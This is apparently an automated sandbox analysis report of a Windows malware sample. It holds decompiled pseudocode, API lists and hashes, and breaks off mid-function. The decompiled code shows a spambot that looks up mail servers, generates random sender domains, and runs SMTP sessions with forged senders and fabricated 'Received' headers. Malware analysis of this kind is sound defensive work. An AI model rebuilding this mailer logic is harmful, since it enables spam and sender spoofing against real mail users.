                                                                                                                                                                                                                                                                                                                                                      0x00321e38
                                                                                                                                                                                                                                                                                                                                                      0x00321e3a
                                                                                                                                                                                                                                                                                                                                                      0x00321e48
                                                                                                                                                                                                                                                                                                                                                      0x00321e61
                                                                                                                                                                                                                                                                                                                                                      0x00321e6a
                                                                                                                                                                                                                                                                                                                                                      0x00321e78
                                                                                                                                                                                                                                                                                                                                                      0x00321e7f
                                                                                                                                                                                                                                                                                                                                                      0x00321e85
                                                                                                                                                                                                                                                                                                                                                      0x00321e88
                                                                                                                                                                                                                                                                                                                                                      0x00321e95
                                                                                                                                                                                                                                                                                                                                                      0x00321e9c
                                                                                                                                                                                                                                                                                                                                                      0x00321ea0
                                                                                                                                                                                                                                                                                                                                                      0x00321ea8
                                                                                                                                                                                                                                                                                                                                                      0x00321eaa
                                                                                                                                                                                                                                                                                                                                                      0x00321ec4
                                                                                                                                                                                                                                                                                                                                                      0x00321ecb
                                                                                                                                                                                                                                                                                                                                                      0x00321ed1
                                                                                                                                                                                                                                                                                                                                                      0x00321ed4
                                                                                                                                                                                                                                                                                                                                                      0x00321eda
                                                                                                                                                                                                                                                                                                                                                      0x00321ee8
                                                                                                                                                                                                                                                                                                                                                      0x00321eec
                                                                                                                                                                                                                                                                                                                                                      0x00321ef4
                                                                                                                                                                                                                                                                                                                                                      0x00321ef6
                                                                                                                                                                                                                                                                                                                                                      0x00321f04
                                                                                                                                                                                                                                                                                                                                                      0x00321f14
                                                                                                                                                                                                                                                                                                                                                      0x00321f1a
                                                                                                                                                                                                                                                                                                                                                      0x00321f1d
                                                                                                                                                                                                                                                                                                                                                      0x00321f23
                                                                                                                                                                                                                                                                                                                                                      0x00321f2a
                                                                                                                                                                                                                                                                                                                                                      0x00321f35
                                                                                                                                                                                                                                                                                                                                                      0x00321f3d
                                                                                                                                                                                                                                                                                                                                                      0x00321f3f
                                                                                                                                                                                                                                                                                                                                                      0x00321f57
                                                                                                                                                                                                                                                                                                                                                      0x00321f5e
                                                                                                                                                                                                                                                                                                                                                      0x00321f64
                                                                                                                                                                                                                                                                                                                                                      0x00321f67
                                                                                                                                                                                                                                                                                                                                                      0x00321f6d
                                                                                                                                                                                                                                                                                                                                                      0x00321f7b
                                                                                                                                                                                                                                                                                                                                                      0x00321f7f
                                                                                                                                                                                                                                                                                                                                                      0x00321f87
                                                                                                                                                                                                                                                                                                                                                      0x00321f89
                                                                                                                                                                                                                                                                                                                                                      0x00321f97
                                                                                                                                                                                                                                                                                                                                                      0x00321faa
                                                                                                                                                                                                                                                                                                                                                      0x00321fb0
                                                                                                                                                                                                                                                                                                                                                      0x00321fb3
                                                                                                                                                                                                                                                                                                                                                      0x00321fb9
                                                                                                                                                                                                                                                                                                                                                      0x00321fc0
                                                                                                                                                                                                                                                                                                                                                      0x00321fcb
                                                                                                                                                                                                                                                                                                                                                      0x00321fd3
                                                                                                                                                                                                                                                                                                                                                      0x00321fd5
                                                                                                                                                                                                                                                                                                                                                      0x00321fe3
                                                                                                                                                                                                                                                                                                                                                      0x00321fea
                                                                                                                                                                                                                                                                                                                                                      0x00322005
                                                                                                                                                                                                                                                                                                                                                      0x00322013
                                                                                                                                                                                                                                                                                                                                                      0x0032201a
                                                                                                                                                                                                                                                                                                                                                      0x00322020
                                                                                                                                                                                                                                                                                                                                                      0x00322023
                                                                                                                                                                                                                                                                                                                                                      0x00322029
                                                                                                                                                                                                                                                                                                                                                      0x00322037
                                                                                                                                                                                                                                                                                                                                                      0x0032203b
                                                                                                                                                                                                                                                                                                                                                      0x00322043
                                                                                                                                                                                                                                                                                                                                                      0x00322045
                                                                                                                                                                                                                                                                                                                                                      0x0032205a
                                                                                                                                                                                                                                                                                                                                                      0x0032205e
                                                                                                                                                                                                                                                                                                                                                      0x00322066
                                                                                                                                                                                                                                                                                                                                                      0x00322068
                                                                                                                                                                                                                                                                                                                                                      0x00322081
                                                                                                                                                                                                                                                                                                                                                      0x00322089
                                                                                                                                                                                                                                                                                                                                                      0x0032208b
                                                                                                                                                                                                                                                                                                                                                      0x003220a7
                                                                                                                                                                                                                                                                                                                                                      0x003220b4
                                                                                                                                                                                                                                                                                                                                                      0x003220cf
                                                                                                                                                                                                                                                                                                                                                      0x003220e3
                                                                                                                                                                                                                                                                                                                                                      0x003220f0
                                                                                                                                                                                                                                                                                                                                                      0x00322103
                                                                                                                                                                                                                                                                                                                                                      0x0032210a
                                                                                                                                                                                                                                                                                                                                                      0x00322117
                                                                                                                                                                                                                                                                                                                                                      0x00322146
                                                                                                                                                                                                                                                                                                                                                      0x00322153
                                                                                                                                                                                                                                                                                                                                                      0x00322182
                                                                                                                                                                                                                                                                                                                                                      0x0032218f
                                                                                                                                                                                                                                                                                                                                                      0x003221a7
                                                                                                                                                                                                                                                                                                                                                      0x003221ab
                                                                                                                                                                                                                                                                                                                                                      0x003221b3
                                                                                                                                                                                                                                                                                                                                                      0x003221b5
                                                                                                                                                                                                                                                                                                                                                      0x003221ca
                                                                                                                                                                                                                                                                                                                                                      0x003221e5
                                                                                                                                                                                                                                                                                                                                                      0x003221f9
                                                                                                                                                                                                                                                                                                                                                      0x00322206
                                                                                                                                                                                                                                                                                                                                                      0x00322235
                                                                                                                                                                                                                                                                                                                                                      0x00322242
                                                                                                                                                                                                                                                                                                                                                      0x00322271
                                                                                                                                                                                                                                                                                                                                                      0x00322279
                                                                                                                                                                                                                                                                                                                                                      0x00322292
                                                                                                                                                                                                                                                                                                                                                      0x003222a6
                                                                                                                                                                                                                                                                                                                                                      0x003222b0
                                                                                                                                                                                                                                                                                                                                                      0x003222bb
                                                                                                                                                                                                                                                                                                                                                      0x003222c3
                                                                                                                                                                                                                                                                                                                                                      0x003222c5
                                                                                                                                                                                                                                                                                                                                                      0x003222d0
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222e4
                                                                                                                                                                                                                                                                                                                                                      0x003222ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x003222f8
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x0032230a
                                                                                                                                                                                                                                                                                                                                                      0x00322314
                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00322320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003218D0: wsprintfA.USER32 ref: 003218F5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003218D0: DnsQuery_A.DNSAPI(?,00000001,00000000,00000000,00000000,00000000), ref: 0032190E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 003218D0: DnsFree.DNSAPI(00000000,00000001), ref: 00321939
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321C62
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 00321C7E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: lstrlenA.KERNEL32(?), ref: 0032112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: send.WS2_32(?,?,000000FF,00000000), ref: 00321144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 0032230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 00322314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: wsprintf$FreeQuery_closesocketlstrlensendshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID: <JohnBlue@%s>$MAIL FROM: %s
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3499568386-387608850
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a922d0809c7cc052b3d2ed6f1ead9ab29605d352bc45febe137624b414a23a12
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 10abe2581ab6a7721c321497164140427d5c2fea3e63a8e3b7210ced108f9a4c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a922d0809c7cc052b3d2ed6f1ead9ab29605d352bc45febe137624b414a23a12
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 212175B1D00328EFDF11DBA4ED49BEEB378BF18304F008599E609A6140E7795A54CF65
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003218D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 265 3218d0-3218d6 266 3218dd-32191a call 321320 wsprintfA DnsQuery_A 265->266 269 32191e-321931 DnsFree Sleep 266->269 270 32191c-321944 DnsFree 266->270 269->266
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                                                                      			E003218D0(intOrPtr __ecx, void* __eflags, CHAR* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v24;
				CHAR* _t14;
				void* _t20;

				_t16 = __ecx;
				_v8 = 0;
				while(1) {
					wsprintfA(_a4, "%s.com", E00321320(_t16, 4,  &_v24));
					_t20 = _t20 + 0x14;
					_push(0);
					_push( &_v8);
					_push(0);
					_push(0);
					_push(1);
					_t14 = _a4;
					_push(_t14); // executed
					L00322AEE(); // executed
					_v12 = _t14;
					if(_v12 == 0) {
						break;
					}
					_push(1);
					_t16 = _v8;
					_push(_v8);
					L00322AE8();
					Sleep(0x64); // executed
				}
				_push(1);
				_push(_v8);
				L00322AE8();
				return _a4;
			}








                                                                                                                                                                                                                                                                                                                                                      0x003218d0
                                                                                                                                                                                                                                                                                                                                                      0x003218d6
                                                                                                                                                                                                                                                                                                                                                      0x003218dd
                                                                                                                                                                                                                                                                                                                                                      0x003218f5
                                                                                                                                                                                                                                                                                                                                                      0x003218fb
                                                                                                                                                                                                                                                                                                                                                      0x003218fe
                                                                                                                                                                                                                                                                                                                                                      0x00321903
                                                                                                                                                                                                                                                                                                                                                      0x00321904
                                                                                                                                                                                                                                                                                                                                                      0x00321906
                                                                                                                                                                                                                                                                                                                                                      0x00321908
                                                                                                                                                                                                                                                                                                                                                      0x0032190a
                                                                                                                                                                                                                                                                                                                                                      0x0032190d
                                                                                                                                                                                                                                                                                                                                                      0x0032190e
                                                                                                                                                                                                                                                                                                                                                      0x00321913
                                                                                                                                                                                                                                                                                                                                                      0x0032191a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0032191e
                                                                                                                                                                                                                                                                                                                                                      0x00321920
                                                                                                                                                                                                                                                                                                                                                      0x00321923
                                                                                                                                                                                                                                                                                                                                                      0x00321924
                                                                                                                                                                                                                                                                                                                                                      0x0032192b
                                                                                                                                                                                                                                                                                                                                                      0x0032192b
                                                                                                                                                                                                                                                                                                                                                      0x00321933
                                                                                                                                                                                                                                                                                                                                                      0x00321938
                                                                                                                                                                                                                                                                                                                                                      0x00321939
                                                                                                                                                                                                                                                                                                                                                      0x00321944

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: GetTickCount.KERNEL32 ref: 0032132A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: srand.MSVCRT ref: 00321331
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: rand.MSVCRT ref: 00321353
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321320: sprintf.MSVCRT ref: 0032136E
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 003218F5
                                                                                                                                                                                                                                                                                                                                                      • DnsQuery_A.DNSAPI(?,00000001,00000000,00000000,00000000,00000000), ref: 0032190E
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 00321924
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(00000064,00000000,00000001,?,00000001,00000000,00000000,00000000,00000000), ref: 0032192B
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 00321939
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Free$CountQuery_SleepTickrandsprintfsrandwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s.com
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1475087645-2211145920
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e35559e52fd6779f5447f8a04c32f0084257d1e0ae944cb354de7ed5f181f816
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7fc57a92aa84a66499c31fb86828d4b8175c8a72e71e68238b032d2dcf4dc524
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e35559e52fd6779f5447f8a04c32f0084257d1e0ae944cb354de7ed5f181f816
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7E016D75A40318BBDB21EBA0ED46FAE773D9B54B00F204058FA056E5C1DAB6AB4487E1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 272 321760-32178a DnsQuery_A 273 3217bf-3217ca DnsFree 272->273 274 32178c-321795 call 3216e0 272->274 275 3217cc-3217cf 273->275 277 32179a-3217a4 274->277 277->273 278 3217a6-3217bd DnsFree closesocket 277->278 278->275
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 31%
                                                                                                                                                                                                                                                                                                                                                      			E00321760() {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _t12;
				intOrPtr _t14;

				_v8 = 0;
				_push(0);
				_t12 =  &_v8;
				_push(_t12);
				_push(0);
				_push(0);
				_push(0xf);
				_push("mail.ru"); // executed
				L00322AEE(); // executed
				_v12 = _t12;
				if(_v12 != 0) {
					L3:
					_push(1);
					_push(_v8);
					L00322AE8();
					return 0;
				}
				_t14 = E003216E0( *((intOrPtr*)(_v8 + 0x18)), 0x19); // executed
				_v16 = _t14;
				if(_v16 <= 0) {
					goto L3;
				}
				L00322AE8();
				__imp__#3(_v16, _v8, 1);
				return 1;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00321766
                                                                                                                                                                                                                                                                                                                                                      0x0032176d
                                                                                                                                                                                                                                                                                                                                                      0x0032176f
                                                                                                                                                                                                                                                                                                                                                      0x00321772
                                                                                                                                                                                                                                                                                                                                                      0x00321773
                                                                                                                                                                                                                                                                                                                                                      0x00321775
                                                                                                                                                                                                                                                                                                                                                      0x00321777
                                                                                                                                                                                                                                                                                                                                                      0x00321779
                                                                                                                                                                                                                                                                                                                                                      0x0032177e
                                                                                                                                                                                                                                                                                                                                                      0x00321783
                                                                                                                                                                                                                                                                                                                                                      0x0032178a
                                                                                                                                                                                                                                                                                                                                                      0x003217bf
                                                                                                                                                                                                                                                                                                                                                      0x003217bf
                                                                                                                                                                                                                                                                                                                                                      0x003217c4
                                                                                                                                                                                                                                                                                                                                                      0x003217c5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003217ca
                                                                                                                                                                                                                                                                                                                                                      0x00321795
                                                                                                                                                                                                                                                                                                                                                      0x0032179d
                                                                                                                                                                                                                                                                                                                                                      0x003217a4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003217ac
                                                                                                                                                                                                                                                                                                                                                      0x003217b5
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • DnsQuery_A.DNSAPI(mail.ru,0000000F,00000000,00000000,00000000,00000000), ref: 0032177E
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 003217AC
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(00000000), ref: 003217B5
                                                                                                                                                                                                                                                                                                                                                      • DnsFree.DNSAPI(00000000,00000001), ref: 003217C5
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Free$Query_closesocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: mail.ru
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1946217314-1589806606
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 251e824c184488950599a71976b1a235e5e34f6b91eea8f5ca7a16548d5c526c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2db4c4567f9a1630718fa58cb2f48831cfff625f229103ce7947c58cc9f258dc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 251e824c184488950599a71976b1a235e5e34f6b91eea8f5ca7a16548d5c526c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47011D75E40318FBDB21EBA0ED46B9E77789B54B04F204194E9006B281D6B5AB459B90
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00321A70 Relevance: 7.6, APIs: 5, Instructions: 99networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 279 321a70-321a95 call 322340 282 32231a-322320 279->282 283 321a9b-321ab6 call 3210a0 279->283 283->282 286 321abc-321acf socket 283->286 286->282 287 321ad5-321ad9 286->287 287->282 288 321adf-321af2 connect 287->288 289 322304-322314 shutdown closesocket 288->289 290 321af8-321b19 setsockopt 288->290 289->282 291 321b20-321b24 290->291 292 321b2a-321b2e 291->292 293 3222f8-322301 291->293 292->293 294 321b34-321b44 call 321160 292->294 293->289 296 321b49-321b59 294->296 297 321b60-321b7f call 3211c0 296->297 298 321b5b 296->298 301 321b81 297->301 302 321b86-321ba5 297->302 298->293 301->293 303 3222f3 302->303 304 321bab 302->304 303->291 304->303
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 87%
                                                                                                                                                                                                                                                                                                                                                      			E00321A70(char* _a4, char* _a8) {
				intOrPtr _v8;
				signed int _v12;
				char _v28;
				char* _v32;
				int _v36;
				char _v140;
				char _v144;
				intOrPtr _v148;
				char _v1172;
				int _v1176;
				char _v1228;
				char* _v1232;
				char* _v1236;
				char _v1340;
				char _v1604;
				char _v1616;
				char _v1628;
				char _v1640;
				char _v1748;
				char _v1760;
				char _v1772;
				char _v1876;
				char* _v1880;
				signed int _v1884;
				intOrPtr _t188;
				char* _t191;
				intOrPtr _t195;
				char* _t196;
				void* _t223;
				void* _t224;
				void* _t225;
				void* _t226;
				void* _t227;

				_v12 = 0;
				_t188 = E00322340(_a4, 0x40);
				_t225 = _t224 + 8;
				_v8 = _t188;
				if(_v8 == 0) {
					L57:
					return _v12;
				}
				_v8 = _v8 + 1;
				_t191 = E003210A0(_v8,  &_v28); // executed
				_t226 = _t225 + 8;
				if(_t191 == 0) {
					goto L57;
				}
				__imp__#23(2, 1, 6); // executed
				_v32 = _t191;
				if(_v32 == 0xffffffff || _v32 == 0xffffffff) {
					goto L57;
				} else {
					__imp__#4(_v32,  &_v28, 0x10); // executed
					if(_t191 == 0xffffffff) {
						L56:
						__imp__#22(_v32, 2); // executed
						__imp__#3(_v32);
						goto L57;
					} else {
						_v144 = 1;
						__imp__#21(_v32, 6, 1,  &_v144, 4); // executed
						_v36 = 1;
						while(_v36 != 0 && _v36 != 8) {
							_t195 = E00321160(_v32,  &_v1172, 0x400); // executed
							_t227 = _t226 + 0xc;
							_v148 = _t195;
							if(_v148 != 0) {
								 *((char*)(_t223 + _v148 - 0x490)) = 0;
								_t196 = E003211C0( &_v1172);
								_t226 = _t227 + 4;
								__eflags = _t196;
								if(_t196 != 0) {
									_v1884 = _v36;
									_v1884 = _v1884 - 1;
									__eflags = _v1884 - 6;
									if(__eflags > 0) {
										L54:
										continue;
									}
									switch( *((intOrPtr*)(_v1884 * 4 +  &M00322324))) {
										case 0:
											_push("ESMTP");
											_t199 = StrStrA( &_v1172);
											__eflags = _t199;
											if(_t199 == 0) {
												_t200 = wsprintfA( &_v1172, "HELO %s\r\n", "[102.129.143.78]");
												_t228 = _t226 + 0xc;
												_v1176 = _t200;
											} else {
												_t203 = wsprintfA( &_v1172, "EHLO %s\r\n", "[102.129.143.78]");
												_t228 = _t226 + 0xc;
												_v1176 = _t203;
											}
											_t202 = E00321120(_v32,  &_v1172, _v1176); // executed
											_t226 = _t228 + 0xc;
											__eflags = _t202;
											if(_t202 != 0) {
												_v36 = 3;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 1:
											goto L54;
										case 2:
											__eax =  &_v1228;
											__eax = E003218D0(__ecx, __eflags,  &_v1228); // executed
											__ecx =  &_v140;
											__eax = wsprintfA( &_v140, "<JohnBlue@%s>", __eax);
											__esp = __esp + 0xc;
											__eax =  &_v1172;
											__eax = wsprintfA( &_v1172, "MAIL FROM: %s\r\n",  &_v140);
											__esp = __esp + 0xc;
											_v1232 = __eax;
											__ecx = _v1232;
											__eax = _v32;
											__eax = E00321120(_v32,  &_v1172, _v1232); // executed
											__eflags = __eax;
											if(__eax != 0) {
												_v36 = 4;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 3:
											__ecx = _a4;
											__eax = wsprintfA( &_v1172, "RCPT TO: <%s>\r\n", _a4);
											__esp = __esp + 0xc;
											_v1236 = __eax;
											__eax = _v1236;
											__ecx =  &_v1172;
											__eax = E00321120(_v32,  &_v1172, _v1236); // executed
											__eflags = __eax;
											if(__eax != 0) {
												_v36 = 5;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 4:
											__eax = _v32;
											__eax = E00321120(_v32, "DATA\r\n", 0xffffffff); // executed
											__eflags = __eax;
											if(__eax != 0) {
												_v36 = 6;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 5:
											__ecx =  &_v1628;
											E00321320( &_v1628, 5,  &_v1628) = wsprintfA( &_v1340, "%s.com", __eax);
											__esp = __esp + 0xc;
											 &_v1876 = E00321490(0,  &_v1876, 1); // executed
											Sleep(0x7d0); // executed
											__ecx =  &_v1748;
											__eax = E00321490(0,  &_v1748, 0); // executed
											__eax =  &_v1340;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t74 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t78 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t82 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xd2;
											_t86 = __eax % 0xd2;
											E00321390(0xd2, 7,  &_v1772) =  &_v1172;
											__eax = wsprintfA( &_v1172, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n",  &_v1172, _t86 + 1, _t82 + 1, _t78 + 1, _t74 + 1,  &_v1340,  &_v1748);
											__esp = __esp + 0x24;
											_v1880 = __eax;
											__ecx = _v1880;
											__eax = _v32;
